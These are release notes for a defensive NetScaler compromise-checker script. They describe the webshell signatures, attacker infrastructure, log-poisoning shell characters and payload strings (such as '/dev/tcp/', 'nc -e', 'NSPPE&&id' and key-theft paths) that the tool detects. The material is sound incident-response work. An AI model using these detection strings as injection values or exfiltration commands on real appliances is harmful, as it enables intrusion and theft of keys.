  • Known payload and webshell hashes: 6 more webshell hashes (IFIN, eSentire .ico and .deb variants, and 3 from Unit 42 via Deyda) and 5 payload hashes from Arctic Wolf (/xd7h/x, nsmon.pl, update_c08937.pl, the Platypus agent script). They are checked in the web, Gateway plugin and media folders, /tmp, /var/tmp, and the top of / and /var. Hashes differ per victim, so the content checks matter more.
  • The Unit 42 .deb webshell by content: its RC4 key, login token and passphrase, in the web and Gateway folders. It is dropped as nsg64.deb or nsgclient18.deb, the names of real client packages, so a content match is what counts. Renamed copies are caught too.
  • WHIPSHOT-style webshell code (Mandiant): commands read from HTTP_X_UX*, or eval / base64_decode on HTTP_NSC_CLIENTTYPE / HTTP_NSC_LDAP. NetScaler's own ns_gui code uses NSC_ headers legitimately and is not searched.
  • SLAPSHOT tunnel marker UXD_IDLE_EXIT (Mandiant) in a running process or in a file in /tmp / /var/tmp.
  • php_flag engine on or a SetHandler for PHP in httpd.conf (Beazley, CERT-EU).
  • Cron jobs that delete or empty logs or files (Beazley): rm, truncate, find … -delete, cat /dev/null > or > /var/log/… on log, temp, core or web folders, in any crontab under /var/cron/tabs. NetScaler's own jobs in /etc/crontab are not flagged.
  • Suspicious commands in /nsconfig/nsafter.sh, which runs after every boot (Beazley): Python, decoders, curl/wget/fetch, nc, setuid chmod, or writes into the web folders or httpd.conf.
  • Exploit marker files in /tmp: watchTowr*, wtw*, boom*. The public watchTowr CVE-2026-88772 (DTLS) tool writes a 7-byte marker to /tmp/watchTowr; earlier versions only looked in /var/tmp. /tmp is emptied at reboot, so run the checker before you reboot or upgrade.
  • Open connection to attacker infrastructure now, covering all 42 IPs.

Targeted: attack traffic in the logs (tagged [BEFORE fix] / [after fix])

  • 25 more attacker IPs, 42 in total (C2, payload hosts, exfiltration, reverse shells, IR-confirmed exploitation sources; Unit 42's two Cloudflare WARP addresses are left out), and the domains echvista.com and entretiensol.com.
  • About 60 opportunistic scanner IPs tagged by GreyNoise, in their own group marked hunting lead only. Many are residential or proxy addresses: don't block on them alone. Cloudflare WARP addresses are left out, because ordinary users share them.
  • Broader log-poisoning check (Elastic rule): any pitboss packet-engine message in ns.log or messages with a shell character (;, backtick, $(, &&, ||, or URL-encoded %3b %60 %7c %24%28 %26%26 %3e %3c). This catches hand-written variants without a known command name after it, such as NSPPE&&id. The NSPPE-00; variant from Unit 42's detection query is now also recognised by the ARMED check on vulnerable builds. Ordinary watchdog messages are not flagged.
  • Payload strings (Arctic Wolf): xd7h/, nsmon, update_c08937, /dev/tcp/, nc -e, base64 -w0, exec-ok, now also searched in /var/log/messages.
  • Attack payloads in login-page requests in the HTTP logs (Deyda): requests to doAuthentication.do, /cgi/login, /p/u/doLogon.do, tmindex.html or GetUserName that contain pitboss, NSPPE, %3B, %60, ${IFS}, curl, wget or fetch. Still visible after ns.log has rotated. Normal logins are not flagged.
  • Likely CVE-2026-88772 attempt (Deyda): when DTLS handshake failures and packet-engine crashes both appear in the logs, the output says so.
  • Webshell header names HTTP_X_UX / HTTP_NSC_LDAP / HTTP_NSC_CLIENTTYPE in the HTTP logs (Deyda), and the Unit 42 webshell's login token e826d7ddf3c85920.
  • Base64 PHP (PD9…) in the User-Agent, e.g. on GET /vpn/media/*.ico: webshell staging through the access log (eSentire). Shown decoded.

Context ([CHECK])

  • Crontabs for users other than root and nobody (e.g. nsroot), with their jobs and when they last changed.
  • nsafter.sh changed in the last 30 days, with its contents, so you can confirm the change was yours.
  • PHP or XHTML files under /var/netscaler outside the management GUI and websocketd, with any webshell-like code (eval, system, passthru, base64_decode) listed separately (Deyda).
  • .pl, .rpm and .tgz references in the httperror logs, next to .php and .sh (Deyda).

Not flagged by name

nsginstaller*, nsgclient*.deb and *.sig are also the names of real Citrix client packages. They are only flagged when their content is PHP, a script or webshell code.

Why it matters now

The CVE-2026-88772 tool is public, so the DTLS flaw is easy to exploit. If you cannot patch right now, block UDP/443 or disable DTLS on your Gateway virtual servers.

Attacker IPs and webshell names differ per victim (Kevin Beaumont), so a clean result is never proof of a clean appliance. Use the checker together with the updated Citrix IoC scan in NetScaler Console, run it on both HA nodes, and forward ns.log, /var/log/messages and the HTTP logs to a SIEM: attackers wipe logs.

v1.8

Choose a tag to compare

@ThomasPoppelgaard ThomasPoppelgaard released this 30 Sep 17:24
41dd44f

v1.8: reliable fix date for the before/after-fix tags

Fix for a false red. Up to v1.7, the checker used the newest entry of any kind in /var/nsinstall as the moment the fixed build was installed. That folder also holds adc.version, which is rewritten when someone logs on to the NetScaler GUI. After a GUI logon, attacks that came after the patch were tagged [BEFORE fix] and shown as a red [SUSPECT]. Thanks to the World of EUC Slack community for reporting this!

How v1.8 finds the fix date

  1. The running build's kernel in /flash (ns-14.1-73.37.gz). installns writes it once, at install time, and nothing changes it afterwards.
  2. The first boot after that install (/var/nsinstall/installns_state_post_reboot), or the last boot if it is within 24 hours of the install. That is when the fixed build started running.
  3. adc.version and other files in /var/nsinstall are no longer used. They are only a fallback when /flash cannot be read, and then only the install markers and build archives.

The output now says where the date comes from, for example:

[OK]  Fixed build running since 2026-09-27 16:32 (first boot after the install; ns-14.1-73.37.gz installed 2026-09-27 16:29)

Also new

  • --fixdate "YYYY-MM-DD HH:MM": an optional override if you know better, e.g. from the change record. Normally not needed.
  • Staged firmware (installed but not yet booted) is now detected from /flash as well.

If v1.7 or earlier showed [BEFORE fix] lines on an appliance that was patched days earlier, check the "Fixed build installed" line at the top of the IoC sweep. If that date was later than your upgrade, run v1.8 again.

Tested on the file layout of a production HA pair (with a later adc.version and an extra reboot after the upgrade), without the post-reboot marker, without /flash, with a staged kernel on a vulnerable build, and with the real log lines of an appliance attacked before and after its patch.

v1.7

Choose a tag to compare

@ThomasPoppelgaard ThomasPoppelgaard released this 30 Sep 10:24
ea04d56

This release adds the indicators from Gotham Technology Group's IoC check (shared with permission) and Manuel Winkel's (Deyda Consulting) triage script v9.17 that the checker did not have yet. Thanks to both, and to Michael Shuster (Ferroque Systems) for his review and feedback on this release!

Important fix: attempts before the patch could be hidden

Up to v1.6, the yellow/red decision for exploitation traffic only looked at the first few lines of each indicator. An attempt before the fix in an older, rotated log could fall outside those lines, and the result was shown as a yellow [CHECK] ("all after the fix") instead of a red [SUSPECT]. Found on a production appliance that was targeted 1.5 hours before it was patched.

v1.7 decides on all matching lines, shows [BEFORE fix] lines first in every group, and says how many came before the fix (for example "9 of 81 lines BEFORE the fix"). If you ran v1.4–v1.6 and got a yellow result, run v1.7 again.

Compromise: a command ran on this box (red)

  • Payload files seen in the wild on 29 Sep: c88771.json (an expr test) and xua.html (a tar of /flash/nsconfig, i.e. ns.conf and the SSL keys, disguised as a web page for download)
  • Any archive disguised as a web file: .html, .json, .css, .js or .txt files in the web folders whose content is gzip, tar or zip, whatever they are called
  • Files dropped by the known payloads: /.x, /s, /tmp/s, /var/tmp/s, lula, /var/1.py, update_c*.pl, themes/wt88771*
  • Files payloads write stolen data or loaders into: logon/insight-new.js, admin_ui/e.txt, admin_ui/log.txt. Only path, size and date are shown, never the contents, because they can hold configuration data.
  • Setuid shell copy in /var/tmp/sh
  • Persistence in startup files (rc.netscaler, ns.conf, /etc/rc): Python one-liners, zlib/base64 decoders, and reversed path strings used in earlier NetScaler campaigns
  • Any text or script file in the Gateway client-package folders, not only PHP
  • A payload process running now, or an open connection to campaign infrastructure
  • ARMED (vulnerable builds only): injected payload text still waiting in ns.log, ns.log.0 or messages. The vulnerable daily check runs it at its next run, so upgrade now or shut down / fail over.

On a compromise, the checker now says: don't reboot or upgrade yet, copy the report, /var/log and the files off the box first.

Targeted: attack traffic in the logs (tagged [BEFORE fix] / [after fix])

  • Nine more attacker IPs, 17 in total, now also searched in /var/log/messages
  • Probes: 1-byte nsepa.deb pre-checks (HTTP 206), the vp_probe_nonexist recon marker, scanner-probe logins, and requests for .ctxs.receiver per source IP
  • Key and config theft in the shell history: /flash/nsconfig/keys, F1.key/F2.key, database.php, LDAPTLS_REQCERT. If found before the fix, rotate keys and passwords.
  • Apache error-log dates are now tagged before/after the fix too.

Context ([CHECK])

  • Hidden files in all web-served folders, and .dot files under LogonPoint/custom
  • Files changed in the last 3 days at the top of / and /var, and in /tmp and /var/tmp, where payloads drop files. NetScaler's own files and anything written at boot or upgrade are filtered out.
  • Processes running download tools or one-liners, and connections from the management plane to public addresses
  • Packet engines that restarted after boot: possible CVE-2026-88772, visible even when the crash lines have rotated out of the logs
  • Root crontab lines that download something, and HeadlessChrome in the VPN access logs

Other

  • Admin CLI commands logged in ns.log (shell_command=) are no longer counted as attacks.
  • --out reports are defanged: attacker text becomes safe to paste into email or chat (; | & ` $ < > become _, http: becomes hxxp:). The screen shows the raw text.
  • Fewer false alarms, tested on a production HA pair: the NetScaler Console Security Advisory scan files in /var/tmp (*-detection.py, and its log.txt / results.txt when written within 5 minutes of them), NetScaler's own ns_system_backup.pl, install_pre_check.json, .monit.id and _callhome_tmp_file, and root crontab calls to localhost are recognised as normal.
  • Clearer verdict: a vulnerable box now reads "the fixed build covers all eight CVEs in CTX697096". A fixed box with Enhanced ISN still off, in the default partition or any admin partition, now says "CVE-2026-88778 is still open" instead of only "follow-up items above".